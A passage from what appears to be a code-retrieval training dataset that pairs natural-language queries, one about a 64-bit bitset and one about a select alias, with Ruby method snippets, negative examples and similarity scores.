"def wait_writable(timeout = nil)\n if timeout\n move_on_after(timeout) do\n Polyphony.backend_wait_io(self, true)\n self\n end\n else\n Polyphony.backend_wait_io(self, true)\n self\n end\n end",
"def wait_and_proceed\n Thread.new do\n sleep TIMEOUT\n proceed\n end\n end",
"def wait_poll(timeout)\n t0 = Time.now\n elapsed = 0\n\n @num_waiting += 1\n\n yield if block_given?\n\n while true\n @cond.wait(timeout - elapsed)\n\n return remove if any?\n\n elapsed = Time.now - t0\n if elapsed >= timeout\n msg = 'could not obtain a database connection within %0.3f seconds (waited %0.3f seconds)' %\n [timeout, elapsed]\n raise ConnectionTimeoutError, msg\n end\n end\n ensure\n @num_waiting -= 1\n end"
] |
[
"0.66175556",
"0.6465666",
"0.6455363",
"0.6455363",
"0.6407712",
"0.6403575",
"0.6252158",
"0.6243102",
"0.6235537",
"0.6137739",
"0.6119742",
"0.6115041",
"0.6089816",
"0.6045781",
"0.6044169",
"0.6001502",
"0.599036",
"0.5983651",
"0.59690267",
"0.59226054",
"0.58967453",
"0.58966565",
"0.5872662",
"0.5846877",
"0.5843544",
"0.582727",
"0.58226174",
"0.57734007",
"0.5743025",
"0.56764",
"0.5676075",
"0.5670686",
"0.56692994",
"0.56608504",
"0.5643065",
"0.5622281",
"0.55574346",
"0.55333847",
"0.5526573",
"0.5513944",
"0.5512636",
"0.5512636",
"0.5511137",
"0.54884964",
"0.5480978",
"0.5470157",
"0.54456073",
"0.54375726",
"0.5431843",
"0.5431002",
"0.54306066",
"0.5419366",
"0.5415257",
"0.54061586",
"0.53939444",
"0.5392978",
"0.5376633",
"0.5374137",
"0.53518075",
"0.5348354",
"0.53456044",
"0.53385156",
"0.53288084",
"0.5328098",
"0.5321577",
"0.5320606",
"0.53150505",
"0.5283571",
"0.5283571",
"0.52816135",
"0.5277012",
"0.52603006",
"0.52552384",
"0.52497447",
"0.52488136",
"0.52319753",
"0.52289045",
"0.5214045",
"0.52051896",
"0.5194416",
"0.5170138",
"0.51636827",
"0.51611495",
"0.5159728",
"0.5158957",
"0.51464593",
"0.51464593",
"0.51434463",
"0.5142358",
"0.5139146",
"0.5136081",
"0.5135999",
"0.5134126",
"0.5133093",
"0.513152",
"0.51287097",
"0.5128341",
"0.5128341",
"0.5114504",
"0.50985277"
] |
0.5939266
|
19
|
TODO: why does the `alias_method :set, :select` code not work?
|
def set option_value
self.select option_value
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def select\n self[:select]\n end",
"def collection_select(method, collection, value_method, text_method, options = T.unsafe(nil), html_options = T.unsafe(nil)); end",
"def select\n self[:select]\n end",
"def select; end",
"def select; end",
"def select(*) end",
"def method_missing sel, *args, &blk \n if (target = self.to_a).respond_to?(sel)\n target.send(sel, *args, &blk)\n else\n super\n end\n end",
"def select\n cached_fetch(:select){default_select}\n end",
"def [](sel); end",
"def SetSelect(select)\n\t\t assert { select.instance_of? String }\n\t\t @select = select\n\t\tend",
"def select(select)\n self.query.select = select\n self\n end",
"def select(method, choices = nil, options = {}, html_options = {}, &block)\n html_options['data-bind'] = \"value: #{method}\"\n super(method, choices, options, html_options, &block)\n end",
"def define_select_accessor(identifier, *locator, element, &block)\n define_method(\"#{identifier}=\".to_sym) do |*values|\n if block_given?\n instance_exec(&block).select(*values)\n else\n reference_element(element, locator).select(*values)\n end\n end\n end",
"def select(&block)\n @select = block if block\n @select\n end",
"def depatch_io\n IO.class_exec do\n class << self\n alias_method :select, :select_for_real\n end\n end\nend",
"def select(select=nil)\n @options[:select] = select if select.kind_of?(String)\n end",
"def select\n return self[:select] if include?(:select)\n self[:select] ||= associated_class.table_name.*\n end",
"def set_and_select(key, element, value)\n key = key.to_s.tr(' ', '_')\n chain(\"#{key}.set\", value) if element.class == Watir::TextField\n chain(\"#{key}.set\") if element.class == Watir::Radio\n chain(\"#{key}.select\", value) if element.class == Watir::Select\n end",
"def request_select\n end",
"def method_missing(m, *args)\n set_name = Kernel.__set\n\n names = @@__name_sets[set_name]\n\n if names\n f = names[m]\n if f\n return send(f, *args)\n end\n end\n\n super(m, *args)\n end",
"def build_options_and_select(type, selected, options = T.unsafe(nil)); end",
"def select_by_class_set_value(class_name, value)\n select_by_class(class_name).select value\nend",
"def insel=(val)\n case val\n when Fixnum\n 4.times {|i| send(\"input_sel#{i}=\", val)}\n when Array\n val.each_with_index {|v,i| send(\"input_sel#{i}=\", v) if v}\n when Hash\n insel(val)\n end\n end",
"def select(*rest) end",
"def select(*rest) end",
"def method_missing(name, &block)\n sel = selectify(name)\n if block_given?\n open_block(sel)\n yield\n closed_block\n else\n chain(sel)\n end\n self\n end",
"def set=(_arg0); end",
"def select(scope) # abstract\n end",
"def select(val)\n raise \"select requires a String.\" unless val.is_a? String\n @select = val\n self\n end",
"def set(option, value)\n define_method(option) { value }\n end",
"def set; end",
"def set; end",
"def alias_method(sym1,sym2) end",
"def method_missing(sym, *args, &block)\n if sym[-1] != \"=\"\n sym_set = (sym.to_s + \"=\").to_sym\n return send(sym_set, *args, &block) if respond_to?(sym_set)\n end\n\n super\n end",
"def select_list; end",
"def select\n self[:select] ||= associated_class.table_name.*\n end",
"def select(&blk); end",
"def set_sel(first, last)\n send_message(:SETSEL, first, last)\n end",
"def select\n execute_only(:select)\n end",
"def alias_of; end",
"def select locator, option_locator\r\n command 'select', locator, option_locator\r\n end",
"def select locator, option_locator\r\n command 'select', locator, option_locator\r\n end",
"def define_alias_methods(member_name, options); end",
"def set_for_select\n @for_select = ForSelect.find(params[:id])\n # For PUNDIT will authorize all the actions that call 'set_for_select'\n # authorize @for_select\n end",
"def date_select(method, options = T.unsafe(nil), html_options = T.unsafe(nil)); end",
"def attribute_to_set; end",
"def select_dropdown(locator, option, method = :value)\n Console.log.info \"Selecting field: #{locator} \\n\\toption: #{option}\n select method: #{method}\"\n select_list = Selenium::WebDriver::Support::Select.new(find(locator))\n select_list.select_by(method, option)\n end",
"def set(*args)\n # not supported\n end",
"def set(*args)\n # not supported\n end",
"def select(select)\n @query = select.statement\n end",
"def map_nodes!(&ruby_block)\n @select = ruby_block.call(@select)\n @select.parent = self unless @select.parent\n map_choices!(&ruby_block)\n end",
"def mset(*_arg0); end",
"def select_by(how, what); end",
"def def_column_alias(meth, column)\n clear_setter_methods_cache\n overridable_methods_module.module_eval do\n define_method(meth){self[column]}\n define_method(\"#{meth}=\"){|v| self[column] = v}\n end\n end",
"def def_column_alias(meth, column)\n clear_setter_methods_cache\n overridable_methods_module.module_eval do\n define_method(meth){self[column]}\n define_method(\"#{meth}=\"){|v| self[column] = v}\n end\n end",
"def method_missing(sel, *args, &blk)\n # STDERR.puts \" @arguments = #{@arguments.inspect} sel = #{sel.inspect}\"\n if args.empty? && ! block_given? && @arguments.has_key?(sel = sel.to_sym)\n @arguments[sel]\n else\n super\n end\n rescue Exception => err\n new_err = err.class.new(\"#{err} in #{self.inspect}:\\n #{err.backtrace * \"\\n \"}\")\n raise new_err\n end",
"def get_or_select!(inst_var_sym, select_list)\n value = instance_variable_get inst_var_sym\n if value==nil\n instance_variable_set inst_var_sym, select_list.selected_options[0].text\n else\n select_list.select value\n end\n end",
"def select_default(select)\n defaults[:select] = select\n end",
"def datetime_select(method, options = T.unsafe(nil), html_options = T.unsafe(nil)); end",
"def general_info_for_select\n\t\t\n\tend",
"def selector=(sel)\n @selector = case sel\n when nil\n {}\n when Code\n {\"$where\" => sel}\n when String\n {\"$where\" => Code.new(sel)}\n when Hash\n sel\n end\n end",
"def select(how, what)\n case how\n when :text, :index, :value\n raise NotImplementedError\n else\n raise ArgumentError, \"can't select options by #{how.inspect}\"\n end\n end",
"def select(*args)\n call_query_method(:select, *args)\n end",
"def select_all\n\t\treturn self.clone( :select => [] )\n\tend",
"def select!(&block)\n @parameters.select!(&block)\n self\n end",
"def select(&block); end",
"def select_symbol(symbol)\n super\n refresh\n end",
"def aliases=(_arg0); end",
"def aliases=(_arg0); end",
"def select( *attributes )\n\t\tif attributes.empty?\n\t\t\treturn self.options[:select].collect {|attribute| attribute.to_s }\n\t\telse\n\t\t\tself.log.debug \"cloning %p with new selection: %p\" % [ self, attributes ]\n\t\t\treturn self.clone( :select => attributes )\n\t\tend\n\tend",
"def property m, *args, &block\n\n # Return nil if it's looking for an unknown alias_for_* method\n return nil if m =~ /^alias\\_for\\_.*/\n \n # Special magic... if an unknown ? method is called, it's treated \n # as a check against the internal hash to see if the given field\n # has been set. For instance, priority? will check to see if the \n # priority field has been set\n return @_.has_key?(m.to_s[0...-1].to_sym) if m =~ /.*\\?/\n \n # Is it an unknown to_ method? e.g. to_ary ... if so, fall through to default\n if m =~ /^to\\_.*/\n super\n return\n end\n \n # Once we get past the special cases, check to see if we have the \n # expected number of arguments. \n if !args.length.within?(1..2)\n raise NoMethodError\n return\n end\n \n # Now we start to figure out the exact value to set\n transform, alias_for, checker = [:transform_,:alias_for_,:check_].map {|x| \"#{x}#{m}\".to_sym }\n \n v = args[0]\n \n # First, if the value given is a ASObj, call finish on it\n v = (v.is_a?(ASObj) ? v.finish : v) unless v == nil\n \n # If it's an Enumerable, but not a Hash, convert to an Array using Map,\n # If each of the member items are ASObj's call finish.\n v = v.map {|i| i.is_a?(ASObj) ? i.finish : i } if v.is_a?(Enumerable) && !v.is_a?(Hash)\n \n # If the value is a Time object, let's make sure it's ISO 8601\n v = v.iso8601 if v.is_a? Time\n \n # Finally, do the object_type specific transform, if any \n # note, this could potentially undo the previous checks if \n # the transform provided by a given spec module isn't well\n # behaved. that's ok tho, we'll trust that it's doing the\n # right thing and just move on ... we're going to be validating\n # next anyway\n v = send transform, v if method? transform\n \n # Now let's do validation... unless lenient is set\n if !args[1] && strict?\n ok = method?(checker) ? send(checker,v) : missing_check(v)\n raise ArgumentError unless ok\n end\n m = send alias_for if method? alias_for\n @_[m] = v unless v == nil\n @_.delete m if v == nil\n end",
"def lazy_select\n lazify.call(S.select)\n end",
"def selected_options; end",
"def selected_options; end",
"def select!\n # Ensure we can never be destructive by nilifying :update.\n Mao.sql(with_options(:update => nil).sql) do |pg_result|\n if @options[:join]\n other = Mao.query(@options[:join][0])\n pg_result.map {|result|\n Mao.normalize_join_result(result, self, other)\n }\n else\n pg_result.map {|result| Mao.normalize_result(result, @col_types)}\n end\n end\n end",
"def set(opts={})\n if block_given?\n old_opts = $opts.dup\n $opts.merge! opts\n yield\n $opts.merge! old_opts\n else\n $opts.merge! opts\n end\nend",
"def grouped_collection_select(object, method, collection, group_method, group_label_method, option_key_method, option_value_method, options = T.unsafe(nil), html_options = T.unsafe(nil)); end",
"def method_missing(sym, *args, &block)\n if @node_set.respond_to?(sym)\n @node_set.send(sym, *args, &block)\n else\n super\n end\n end",
"def state_select(method, options = {}, html_options = {})\n abbr = options.delete(:abbreviate)\n abbr = !(abbr.nil? || abbr === false)\n select(method, @template.options_for_select(options_for_state_select(abbr, options.delete(:international)), @object.try(:state)), options, html_options) \n end",
"def set_selectbox_options\n set_kind_option\n set_scheduled_times_option\n set_user_option\n end",
"def options_for_multiselect_match( object, method, match = \"\", options = {} )\n #allow specifying fully qualified class name for model object\n class_name = options[:class_name] || object\n model = get_object(class_name)\n items = get_autocomplete_items(:model => model, :options => options, :term => match, :method => method)\n options_from_collection_for_select(items, :to_param, options[:display_value] ||= method)\n end",
"def select!(&block); end",
"def method_missing field, *args, &block\n set field, *args, &block\n end",
"def select(*args); dataset.select(*args); end",
"def grouped_collection_select(method, collection, group_method, group_label_method, option_key_method, option_value_method, options = T.unsafe(nil), html_options = T.unsafe(nil)); end",
"def set( setThis )\r\n assert_exists\r\n assert_enabled\r\n assert_not_readonly\r\n \r\n highlight(:set)\r\n @o.scrollIntoView\r\n @o.focus\r\n @o.select()\r\n @o.fireEvent(\"onSelect\")\r\n @o.value = \"\"\r\n @o.fireEvent(\"onKeyPress\")\r\n doKeyPress( setThis )\r\n highlight(:clear)\r\n @o.fireEvent(\"onChange\")\r\n @o.fireEvent(\"onBlur\")\r\n end",
"def selected; end",
"def method_missing(name, *args, &block)\n if name =~ /set_(.+)/\n configure($1, args[0], &block)\n else\n request(name, &block)\n end\n end",
"def select!(*fields)\n @options[:select] ||= fields.join ','\n self\n end",
"def selector(sel)\n if block_given?\n open_block(sel)\n yield\n closed_block\n else\n chain(sel)\n end\n self\n end",
"def create_from_select(model_handle, field_set, select_ds, override_attrs = {}, opts = {})\n # TODO: temp for debugging; there are top level objects that can mistakenly trigger this\n unless model_handle[:parent_model_name]\n unless (not Model.has_group_id_col?(model_handle)) || TOP_LEVEL_MODEL_NAMES.include?(model_handle[:model_name])\n Log.info_pp(['missing :parent_model_name in create_from_select', model_handle, caller[0..10]])\n end\n end\n\n duplicate_refs = opts[:duplicate_refs] || :allow #other alternatives: #:no_check | :error_on_duplicate | :prune_duplicates\n overrides = override_attrs.dup #because can remove elements\n set_updated_at!(overrides)\n set_created_at!(overrides)\n # TODO: benchmark point pp [:create_from_select,duplicate_refs]\n user_info_assigns = DB.user_info_for_create_seleect(overrides, model_handle)\n\n # modify ds and its columns in concert\n select_info = { cols: field_set.cols, ds: select_ds.sequel_ds.ungraphed.from_self } #ungraphed and from_self just to be safe\n # processing to take into account c\n add_cols_to_select!(select_info, { c: user_info_assigns[:c] }, from_self: [:end])\n\n # parent_id_col can be null\n parent_id_col = model_handle.parent_id_field_name?()\n\n db_rel = DB_REL_DEF[model_handle[:model_name]]\n ds = dataset(db_rel)\n # modify sequel_select to reflect duplicate_refs setting\n unless duplicate_refs == :no_check\n match_cols = [:c, :ref, parent_id_col].compact\n # need special processing of ref override; need to modify match_cols and select_on_match_cols\n if ref_override = overrides.delete(:ref)\n add_cols_to_select!(select_info, { ref: ref_override }, dont_add_cols: true, from_self: [:end])\n end\n\n case duplicate_refs\n when :prune_duplicates\n # TODO: bug here\n select_info[:ds] = select_info[:ds].join_table(:left_outer, ds, match_cols, table_alias: :existing).where(existing__c: nil)\n when :error_on_duplicate\n # TODO: not right yet\n duplicate_count = select_info[:ds].join_table(:inner, ds, match_cols).count\n if duplicate_count > 0\n # TODO: make this a specfic error\n fail Error.new(\"found #{duplicate_count} duplicates\")\n end\n when :allow\n ds_to_group = select_info[:ds].join_table(:inner, ds, match_cols, table_alias: :existing)\n max_col = SQL::ColRef.max { |o| o.coalesce(:existing__ref_num, 1) }\n max_ref_num_ds = ds_to_group.group(*match_cols).select(*(match_cols + [max_col]))\n\n add_cols_to_select!(select_info, ref_num: SQL::ColRef.case { [[{ max: nil }, nil], :max + 1] })\n select_info[:ds] = select_info[:ds].join_table(:left_outer, max_ref_num_ds, match_cols)\n end\n end\n\n # process overrides\n # TODO: may need a from self prefix instead of optional from_self post fix and in general try to remove unnecessay from selfs\n add_cols_to_select!(select_info, user_info_assigns.merge(overrides), from_self: [:beg])\n\n # final ones to select and add\n sequel_select_with_cols = select_info[:ds]\n columns = select_info[:cols]\n\n # fn tries to return ids depending on whether db adater supports returning_id\n ret = nil\n if ds.respond_to?(:insert_returning_sql)\n returning_ids = []\n\n returning_sql_cols = [:id, :display_name]\n returning_sql_cols << parent_id_col.as(:parent_id) if parent_id_col\n if opts[:returning_sql_cols]\n returning_sql_cols += opts[:returning_sql_cols]\n returning_sql_cols.uniq!\n end\n\n sql = ds.insert_returning_sql(returning_sql_cols, columns, sequel_select_with_cols)\n\n if Model.debug_flag?\n Model.pp_sql_debug(sql, 'INSERT STATMENT')\n end\n\n # TODO: benchmark point pp [:create_from_select,sql]\n fetch_raw_sql(sql) { |row| returning_ids << row }\n IDInfoTable.update_instances(model_handle, returning_ids) unless opts[:do_not_update_info_table]\n ret = opts[:returning_sql_cols] ?\n process_json_fields_in_returning_ids!(returning_ids, db_rel) :\n ret_id_handles_from_create_returning_ids(model_handle, returning_ids)\n else\n ds.import(columns, sequel_select_with_cols)\n # TODO: need to get ids and set\n fail Error.new('have not implemented create_from_select when db adapter does not support insert_returning_sql not set')\n end\n ret\n end",
"def is_select(select_field = :name, options = {}) \n raise ArgumentError, \"The :select_field, must be an existing attribute in the Model. Got [ #{select_field.inspect} ]\" unless properties.any?{ |p| p.name == select_field.to_sym }\n \n @select_options = {\n :value_field => \"id\", \n # add specical features if we are working with Tree Model\n :is_tree => false\n }.merge(options)\n \n @select_field = select_field\n @value_field = @select_options[:value_field]\n \n \n # Add class & Instance methods\n extend DataMapper::Is::Select::ClassMethods\n # include DataMapper::Is::Select::InstanceMethods\n \n end",
"def method_missing(m, *args, &block)\n if has? m.to_s\n opt(m.to_s)\n else\n super(m, *args, &block)\n end\n end",
"def option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = T.unsafe(nil)); end",
"def select(*args)\n @results = nil\n except(:select)\n @builder = builder.select(*args)\n self\n end",
"def add_select_options(opt)\n opt.on('--select x,y,z', Array,\n \"Select x, y, z columns only\") do |value|\n self.select = value.collect{|c| c.to_sym}\n end\n opt.on('--allbut x,y,z', Array,\n \"Select all but x, y, z columns\") do |value|\n self.allbut = value.collect{|c| c.to_sym}\n end\n end",
"def selections\n selector.send(selector_method) rescue nil\n end",
"def collection_select_control(method, collection, value_method, text_method,\n orig_options = {}, orig_html_options = {})\n options = orig_options.merge(include_blank: true)\n html_options = decorate_opts(method, orig_html_options)\n div_col_md_9 do\n orig_collection_select(method, collection, value_method, text_method,\n options, html_options) +\n error_details(method)\n end\n end",
"def nested_select(object, method, collection, options = {}, html_options = {})\n choices = nested_as_options(collection) { |record| [\"#{@indent} #{record.name}\", record.id] }\n select(object, method, choices, options, html_options)\n end",
"def preserve_query_aliases\n class << self\n # I have to do the interesting hack below instead of using alias_method\n # because there's some sort of weirdness going on with how __all binds\n # to all in Ruby 2.0.\n __all = self.instance_method(:all)\n\n define_method(:__all) do\n __all.bind(self).call\n end\n\n # From ActiveRecord::Querying\n delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, :to => :__all\n delegate :first_or_create, :first_or_create!, :first_or_initialize, :to => :__all\n delegate :find_or_create_by, :find_or_create_by!, :find_or_initialize_by, :to => :__all\n delegate :find_by, :find_by!, :to => :__all\n delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, :to => :__all\n delegate :find_each, :find_in_batches, :to => :__all\n delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins,\n :where, :preload, :eager_load, :includes, :from, :lock, :readonly,\n :having, :create_with, :uniq, :distinct, :references, :none, :unscope, :to => :__all\n delegate :count, :average, :minimum, :maximum, :sum, :calculate, :pluck, :ids, :to => :__all\n end\n end",
"def set_selectf\n @selectf = Selectf.find(params[:id])\n end"
] |
[
"0.64982843",
"0.6436249",
"0.6379387",
"0.6364503",
"0.6364503",
"0.6333489",
"0.6188736",
"0.61570793",
"0.61371624",
"0.61162674",
"0.60655445",
"0.6025328",
"0.59941393",
"0.5989292",
"0.59581923",
"0.5867259",
"0.5850999",
"0.5823902",
"0.58019507",
"0.5769136",
"0.5741127",
"0.5641628",
"0.5640101",
"0.56245685",
"0.56245685",
"0.5582245",
"0.5569395",
"0.5551039",
"0.55451775",
"0.55343294",
"0.5488842",
"0.5488842",
"0.5483825",
"0.54834586",
"0.5480191",
"0.5477952",
"0.54705924",
"0.5465316",
"0.54516697",
"0.5440006",
"0.5437505",
"0.5437505",
"0.5404308",
"0.53907543",
"0.53876215",
"0.53862405",
"0.5373301",
"0.5366871",
"0.5366871",
"0.5358312",
"0.53360534",
"0.53329074",
"0.5320522",
"0.5314991",
"0.5314991",
"0.53091526",
"0.52960294",
"0.5294226",
"0.5288564",
"0.5282729",
"0.52705014",
"0.52627397",
"0.52620864",
"0.5246037",
"0.5243576",
"0.5236269",
"0.52175295",
"0.5215791",
"0.5215791",
"0.5211403",
"0.5211349",
"0.5210403",
"0.52089113",
"0.52089113",
"0.5206606",
"0.5205525",
"0.51975703",
"0.51971763",
"0.51862174",
"0.5184742",
"0.5183404",
"0.5179697",
"0.5175547",
"0.516536",
"0.51643187",
"0.5161923",
"0.51613224",
"0.51590514",
"0.51337373",
"0.51309687",
"0.51298827",
"0.51237893",
"0.5118437",
"0.5117676",
"0.5111601",
"0.5110402",
"0.51099455",
"0.51089907",
"0.51051867",
"0.51007634",
"0.5098668"
] |
0.0
|
-1
|
Construct a bitset of size one word (64 bits)
|
def initialize
initialize__bit_set(BITS)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize (size)\n @@wordBits = 0.size * 8 # size of a word on your machine\n @wordMax = 2**@@wordBits\n @xorMask = @wordMax - 1\n @bitMask = [] # to speed things up precompute index masks\n @@wordBits.times { |i| @bitMask[i] = 1 << i }\n @size = size\t \n @words = (@size / @@wordBits) + [@size % @@wordBits, 1].min\n @bits = Array.new(@words, 0)\n end",
"def set_bits\n bits = []\n 0.upto(63) {|i| bits << i if set?(i)}\n bits\n end",
"def set_size(nwords)\n newbits = Array.typed(::Java::Long).new(nwords) { 0 }\n n = Math.min(nwords, @bits.attr_length)\n System.arraycopy(@bits, 0, newbits, 0, n)\n @bits = newbits\n end",
"def bit_small; @bit_small ||= gbit(8) end",
"def <<(bits)\n value = @value * (2**bits.to_i)\n if (bounded?)\n self.class.new(value & self.mask, @length)\n else\n self.class.new(value)\n end\n end",
"def bit_set_size\n @bit_set.size\n end",
"def set_64_bit_offset(is_64_bit)\n raise ArgumentError.new, 'The value can only be true or false' unless [true, false].include?(is_64_bit)\n parameter_block.word_count = is_64_bit ? 0x0C : 0x0A\n end",
"def empty_bits(_options = {})\n array_span = (0..(size - 1)).to_a\n empty_bits = array_span - used_bits\n empty_bits\n end",
"def set_64_bit_offset(is_64_bit)\n raise ArgumentError.new, 'The value can only be true or false' unless [true, false].include?(is_64_bit)\n parameter_block.word_count = is_64_bit ? 0x0E : 0x0C\n end",
"def [](index)\n @bits[index/@@wordBits] & @bitMask[index % @@wordBits] > 0 ? 1 : 0\n end",
"def init_bitarray(max_bits)\n\t\t@bitmap = Array.new(max_bits, 0) # create a new array with the max size and initialize it to zero\n\tend",
"def wordBits\n @@wordBits\n end",
"def bits_set\n (\"%b\" % self).count('1')\n #to_s(2).count('1') # alternative\n #count = 0 # alternative\n #byte = self.abs\n #count += byte & 1 and byte >>= 1 until byte == 0 # cf. http://snippets.dzone.com/posts/show/4233\n #count\n end",
"def read(bits=nil)\n bits ||= word_size\n binary = []\n\n bits.times do |i|\n block_index, bit_index = @pointer.divmod(8)\n data = @blocks[block_index] || 0\n binary << (((data >> (7 - bit_index)) & 1) == 1)\n @pointer += 1\n end\n\n binary.map{|b| b ? '1' : '0' }.join.to_i(2)\n end",
"def mask_to_bits(nm)\n\t\tmask = 32\n\t\tmask.times do\n if ( (nm & 1) == 1)\n break\n end\n\t\t\tnm = nm >> 1\n\t\t\tmask = mask - 1\n\t\tend\n\t\treturn(mask)\n\tend",
"def mask_to_bits(nm)\n\t\tmask = 32\n\t\tmask.times do\n if ( (nm & 1) == 1)\n break\n end\n\t\t\tnm = nm >> 1\n\t\t\tmask = mask - 1\n\t\tend\n\t\treturn(mask)\n\tend",
"def getBits(binary)\n length = binary[0].length\n return length\n end",
"def to_string_of_half_words\n s = StringBuffer.new\n i = 0\n while i < @bits.attr_length\n if (!(i).equal?(0))\n s.append(\", \")\n end\n tmp = @bits[i]\n tmp &= 0xffffffff\n s.append(tmp)\n s.append(\"UL\")\n s.append(\", \")\n tmp = @bits[i] >> 32\n tmp &= 0xffffffff\n s.append(tmp)\n s.append(\"UL\")\n i += 1\n end\n return s.to_s\n end",
"def bit_length\n @bit_length ||= ECDSA.bit_length(field.prime)\n end",
"def initialize(size)\n @bits = 0\n @size = size\n end",
"def bits_to_mask(nm)\n\t\treturn(0) if (nm == 0)\n\t\tm = 2**32-1\n\t\treturn( m ^ (m >> nm) )\n\tend",
"def bits_to_mask(nm)\n\t\treturn(0) if (nm == 0)\n\t\tm = 2**32-1\n\t\treturn( m ^ (m >> nm) )\n\tend",
"def to_binary_string(min_length = 0)\n BitMapping.number_to_binary_string(number, min_length)\n end",
"def bit(y)\n bit?(y) ? ONE : ZERO\n end",
"def short_binary_type; end",
"def used_bits(_options = {})\n used_bits = []\n named_bits do |_name, bit|\n used_bits << bit.position if bit.size == 1\n if bit.size > 1\n used_bits << ((bit.position)..(bit.position + bit.size - 1)).to_a\n end\n end\n used_bits.flatten!\n used_bits.sort!\n used_bits\n end",
"def aes_bit(vector, n)\n (vector >> n) & 1\n end",
"def bits()\n return(NetAddr.mask_to_bits(@netmask))\n end",
"def for_storage\n return Key64.from_bits( @bit_string )\n end",
"def get_bitset(col)\n @vc.get_bitset(@f.object.class, col)\n end",
"def to_bit_array\n BitMapping.number_to_bit_array(number)\n end",
"def extended_bits(id)\n return unless id && id.size == 32\n id[0...16]\n end",
"def word16(a, b)\n (a << 8) | b\n end",
"def convert_one_hot(corpus, vocab_size)\n n = corpus.shape[0]\n\n if corpus.ndim == 1\n one_hot = Numo::UInt32.zeros(n, vocab_size)\n corpus.each_with_index do |word_id, idx|\n one_hot[idx, word_id] = 1\n end\n elsif corpus.ndim == 2\n c = corpus.shape[1]\n one_hot = Numo::UInt32.zeros(n, c, vocab_size)\n\n n.times do |idx0|\n word_ids = corpus[idx0, true]\n word_ids.each_with_index do |word_id, idx1|\n one_hot[idx0, idx1, word_id] = 1\n end\n end\n end\n\n one_hot\nend",
"def test_005_bounded?()\n TestVals.each do |sVal|\n bs = BitString.new(sVal)\n assert(! bs.bounded?)\n bs = BitString.new(sVal, sVal.length)\n assert(bs.bounded?)\n bs = BitString.new(sVal.length) { |i| sVal.reverse[i,1].to_i }\n assert(bs.bounded?)\n end\n end",
"def six_bits_to_b64(bits)\n b64=\"./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\n b64[bits.reverse.to_i(2)]\n end",
"def grow_to_include(bit)\n new_size = Math.max(@bits.attr_length << 1, num_words_to_hold(bit))\n newbits = Array.typed(::Java::Long).new(new_size) { 0 }\n System.arraycopy(@bits, 0, newbits, 0, @bits.attr_length)\n @bits = newbits\n end",
"def queens_size\n # Special case to handle a bitset of 64 bits\n if @size == 8\n bits = 0\n (@size * @size).times { |i|\n if @state[i]\n bits += 1\n end\n }\n return bits\n end\n\n return @state.cardinality\n end",
"def bit\n self\n end",
"def bits\n self.class.bits.select { |bit, _| include? bit }.keys\n end",
"def set(bit, value = true)\n if value\n @bits = union convert_bit(bit)\n @set_indexes << bit unless @set_indexes.include?(bit)\n elsif set?(bit)\n @bits = xor convert_bit(bit)\n @set_indexes.delete(bit)\n end\n\n @bits\n end",
"def binary(digits: 4)\n bin = ''\n digits.times { bin += rand(2).to_s(2) }\n bin\n end",
"def ffs(options = {:length => 0x1})\n check_value 0xFFFFFFFF, options\n end",
"def []=(index, value)\n if value == 1\n @bits[index/@@wordBits] |= @bitMask[index % @@wordBits]\n else\n @bits[index/@@wordBits] &= (@bitMask[index % @@wordBits] ^ @xorMask)\n end\n end",
"def bits\n self.class.bits.select { |bit, _| include? bit }.keys\n end",
"def input_to_bitstring( value )\r\n value\r\n end",
"def set(index, numBits, value)\n andMask = 2**numBits - 1 # 000000001111\n andMask = andMask << (index % @@wordBits) # 000011110000\n andMask = andMask ^ @xorMask # 111100001111\n @bits[index/@@wordBits] &= andMask # bbbb0000bbbb\n valMask = value << (index % @@wordBits) # 0000vvvv0000\n @bits[index/@@wordBits] |= valMask # bbbbvvvvbbbb\n end",
"def _to_bit_string(i, min_width=0)\n hexed = i.to_s(16)\n padded = true if hexed.length % 2 == 1 # prepend 0\n bitstring = [(padded ? \"0#{hexed}\" : hexed)].pack(\"H*\").unpack(\"B*\").first\n bitstring = bitstring[4,bitstring.length - 4] if padded\n (\"0\" * [min_width - bitstring.length, 0].max) + bitstring\n end",
"def bit_length\n (negative? ? -self : self + ONE).log2.ceil\n end",
"def _nbits(x)\n raise TypeError, \"The argument to _nbits should be nonnegative.\" if x < 0\n # Ruby 2.1 introduced Integer#bit_length\n return x.bit_length if x.respond_to? :bit_length\n if x <= MAXIMUM_SMALLISH_INTEGER\n return 0 if x==0\n x.to_s(2).length\n elsif x <= NBITS_LIMIT\n Math.frexp(x).last\n else\n n = 0\n while x!=0\n y = x\n x >>= NBITS_BLOCK\n n += NBITS_BLOCK\n end\n n += y.to_s(2).length - NBITS_BLOCK if y!=0\n n\n end\n end",
"def copy_all(reg)\n if reg.respond_to?(:contains_bits?) && reg.contains_bits?\n unless reg.size == size\n puts 'Bit collection copy must be performed on collections of the same size.'\n puts 'You can fix this by calling copy on a subset of the bits you require, e.g.'\n puts ' larger_bit_collection[3..0].copy_all(smaller_bit_collection)'\n puts\n fail 'Mismatched size for bit collection copy'\n end\n # safely handle collections with differing with_bit_order settings\n with_lsb0 do\n reg.shift_out_with_index do |source_bit, i|\n if source_bit\n self[i].overlay(source_bit.overlay_str) if source_bit.has_overlay?\n self[i].write(source_bit.data)\n\n self[i].read if source_bit.is_to_be_read?\n self[i].store if source_bit.is_to_be_stored?\n end\n end\n end # of with_lsb0\n else\n write(reg)\n clear_flags\n end\n self\n end",
"def binary(digits: T.unsafe(nil)); end",
"def checkBitSet( i, bitfield )\n bitfield & (1<<i)\n end",
"def msb; @bits[@bits.length - 1]; end",
"def encode_bits(bits)\n [bits.map { |b| b ? '1' : '0' }.join].pack('b*')\n end",
"def bitarray(n) \n b=Array::new \n i=0 \n v=n\n while v > 0\n b[i] = (0x1 & v)\n v = v/2\n i = i + 1\n end\n return b\n end",
"def radix_mask\n (\"1\"*self.class.bit_density).to_i(2)\n end",
